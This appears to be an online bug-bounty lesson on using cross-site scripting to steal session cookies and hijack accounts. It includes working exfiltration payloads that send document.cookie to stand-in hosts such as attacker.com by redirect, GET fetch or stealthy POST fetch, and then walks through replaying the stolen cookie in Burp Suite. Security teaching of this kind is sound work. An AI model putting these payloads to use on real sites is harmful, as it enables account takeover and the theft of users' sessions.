Skip to main content
Create your own
Lesson illustration

XSS for Session Hijacking

Hello! Welcome to the next lesson in your journey to becoming a professional bug bounty hunter.

In our last lesson, you learned the critical art of bypassing XSS filters. You now have a methodology to get your JavaScript payloads to execute even when a web application tries to block them. Popping an alert(1) is the classic proof-of-concept, but to demonstrate real impact—the kind that earns bounties—you need to make your script do something malicious.

Today, we'll focus on the most classic and impactful XSS attack: session hijacking. Your learning outcome is to craft an XSS payload to steal a victim's session cookies and exfiltrate them to an attacker-controlled server. This is a foundational skill that turns a simple XSS finding into a critical vulnerability, often leading to full account takeover.

1. The Goal: Why Steal Cookies?

When you log into a web application, the server gives your browser a small piece of data called a session cookie. This cookie acts like a temporary key or an access badge. On subsequent requests, your browser sends this cookie back to the server to prove that you are still authenticated.

If an attacker can steal this cookie, they can present it to the server and impersonate you, gaining full access to your account without needing your password. This is called session hijacking.

XSS Attack Flow: Data Hijacking and Exfiltration
This diagram shows the general flow of an XSS attack. An attacker injects a payload that, when triggered by a victim, hijacks data (like a session cookie) and sends it to a server controlled by the attacker.

Let's watch a short video that explains the value of cookies and demonstrates how to access them using JavaScript.

Stealing Cookies Using XSS (Cross Site Scripting)

The video 'Stealing Cookies Using XSS' from Infosec Mastery provides a clear explanation of what cookies are and why they are a valuable target for attackers. It then shows the first step in our attack: accessing the cookie via JavaScript.

Watch from 04:34 to 06:12. Pay close attention to: The explanation of a cookie's role in maintaining a user's session. The simple but powerful JavaScript object document.cookie used to access the cookie string.

As you saw, alert(document.cookie) proves we can access the cookie. The next logical step is to send it somewhere only we can see it.

2. Exfiltration: Sending the Cookie Home

Exfiltration is the process of secretly sending data from the victim's environment to a location you control. The simplest method, often used for quick proofs-of-concept, is to redirect the user's browser to your server, with the cookie appended to the URL as a parameter.

To do this, you need two things:

  1. A payload that grabs the cookie and triggers the redirect.
  2. A listener on a server you control to catch the incoming request and log the cookie.

Services like RequestBin or PortSwigger's Burp Collaborator act as public listeners, giving you a unique URL to send data to.

Let's see how this is done in practice.

Stealing Cookies Using XSS (Cross Site Scripting)

Continuing with the 'Stealing Cookies Using XSS' video, we'll now see exactly how to construct a payload that exfiltrates the cookie to a listener.

Watch from 06:12 to 08:21. Focus on how the payload is built: It uses window.location.href to cause a browser redirect. It constructs a URL pointing to the attacker's listener (RequestBin in this case). It appends document.cookie to the URL, so the cookie data is sent as part of the GET request.

The payload looks something like this:
<script>window.location.href = 'https://your-listener.com/steal?data=' + document.cookie;</script>

When this script executes in a victim's browser, they are silently redirected, and their cookie appears in your listener's logs.

Test your understanding!

You have discovered a reflected XSS vulnerability. Why is a payload using window.location.href for cookie exfiltration considered "noisy" and potentially less effective for a real-world attack?

Show answer

It's considered noisy because it causes a full-page redirect. The victim's browser will visibly navigate away from the legitimate site to your listener's URL, which is highly suspicious and likely to be noticed. This might cause them to end their session or report the issue immediately, limiting the time you have to use the stolen cookie.

3. Stealthier Exfiltration with fetch

The redirect method works, but it's not subtle. A more professional and stealthy approach is to send the data in the background without any visible change to the victim's page. Your Computer Science background and familiarity with JavaScript will be an advantage here. We can use the fetch API to send an asynchronous HTTP request.

The Hackviser cheat sheet provides excellent, concise examples of payloads for this.

Cross-Site Scripting (XSS) Attack Guide

Let's look at some advanced exfiltration payloads from the 'Cross-Site Scripting (XSS) Attack Guide'. These are more aligned with what you'd use in a professional engagement.

Review the payloads under the 'Cookie Theft' subsection. Notice the two main approaches: Basic fetch: <script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script> This sends the cookie in a background GET request. It's simple and effective. Advanced XMLHttpRequest / fetch with POST: The second example uses XMLHttpRequest (or could be rewritten with fetch) to send a POST request with a JSON body. This is even better because it can exfiltrate more data (like localStorage) and the data isn't exposed in server/proxy logs as a URL parameter.

A modern fetch payload using a POST request would look like this. It's clean, powerful, and much harder to detect:

<script>
  fetch('https://your-listener.com/logger', {
    method: 'POST',
    mode: 'no-cors', // Important for cross-origin requests
    body: JSON.stringify({
      cookie: document.cookie,
      location: window.location.href
    })
  });
</script>

4. The Payoff: Using the Stolen Cookie

Once your listener captures the cookie, the attack is not yet complete. The final step is to use that cookie to hijack the victim's session. This is typically done using an interception proxy like Burp Suite.

The process is simple:

  1. Browse to the target application.
  2. Intercept a request using Burp Proxy.
  3. Replace the Cookie header value with the victim's cookie that you stole.
  4. Forward the request.

The server will now process the request as if it came from the victim, granting you access to their account.

This video demonstrates the entire flow, from injecting a stored XSS payload to capturing the cookie with a local Python server and finally using it in Burp Suite.

XSS Session Cookie Theft Process
This diagram illustrates how a stored XSS payload can be used for cookie theft. The attacker injects the script once, and it gets stored on the server. Every user who visits the compromised page will then execute the script, sending their cookie to the attacker.

How Hackers Hack Cookies Using XSS | TryHackMe XSS Walkthrough

The video 'How Hackers Hack Cookies Using XSS' by Motasem Hamdan provides a full, end-to-end demonstration of a session hijacking attack.

Watch from 24:51 to 32:12. This is a crucial segment that ties everything together. Observe carefully how the presenter: Injects a stored XSS payload that sends the cookie to a simple Python web server he controls (24:51 - 28:09). Copies the stolen cookie from his server logs. Uses Burp Suite to intercept a request and replaces his own cookie with the victim's stolen cookie (28:23 - 32:12). Successfully gains access to the victim's account.

5. Hands-on Lab: Steal the Cookie

Now it's your turn to put this into practice. We will use a lab from PortSwigger, the creators of Burp Suite. Your task is to find a stored XSS vulnerability and use it to steal a victim's session cookie.

Lab: Exploiting cross-site scripting to steal cookies

This lab provides a perfect, sandboxed environment to perform the attack we've just discussed. You will use Burp Suite's built-in listener, Burp Collaborator, to exfiltrate the cookie.

Read the lab description and objective. Then, follow the step-by-step 'Solution' guide. The key steps are: Get your unique Burp Collaborator URL. Craft an XSS payload using a <script> tag and fetch or a similar method to send document.cookie to your Collaborator URL. Submit the payload in the blog comments function. Check Burp Collaborator for the incoming HTTP request containing the victim's cookie. Use the stolen cookie in Burp Repeater or Proxy to access the victim's account page to solve the lab. Take your time with this lab, as it consolidates all the concepts from this lesson.

Conclusion

Congratulations! You've now mastered one of the most fundamental and impactful attacks in a web penetration tester's toolkit. By moving beyond a simple alert(), you've learned how to demonstrate the true risk of an XSS vulnerability: complete account compromise.

Key Takeaways:

  • The Goal is Impact: Stealing session cookies is a primary way to demonstrate the impact of XSS, leading to session hijacking.
  • The Process: The attack follows a clear sequence: inject a payload, access the cookie with document.cookie, exfiltrate it to a listener you control, and then use the stolen cookie to impersonate the victim.
  • Stealth is Key: While simple redirects work, professional bug hunters use stealthy, asynchronous methods like the fetch API to exfiltrate data without alerting the user.
  • Tools of the Trade: A request listener (like Burp Collaborator) and an interception proxy (like Burp Suite) are essential tools for executing this attack.

Next Lesson Preview:
Stealing cookies is incredibly powerful, but what if they are protected? Modern applications can use the HttpOnly flag on cookies, which prevents them from being accessed by JavaScript. Does this make XSS useless? Not at all. In our next lesson, you will learn how to craft an XSS payload to perform unauthorized actions on behalf of a victim user (CSRF via XSS). This will allow you to leverage an XSS vulnerability to change a victim's email, reset their password, or perform other sensitive actions, even when you can't steal their cookie.

Can't find a good explanation? Sign up and we'll make it for you

Sign up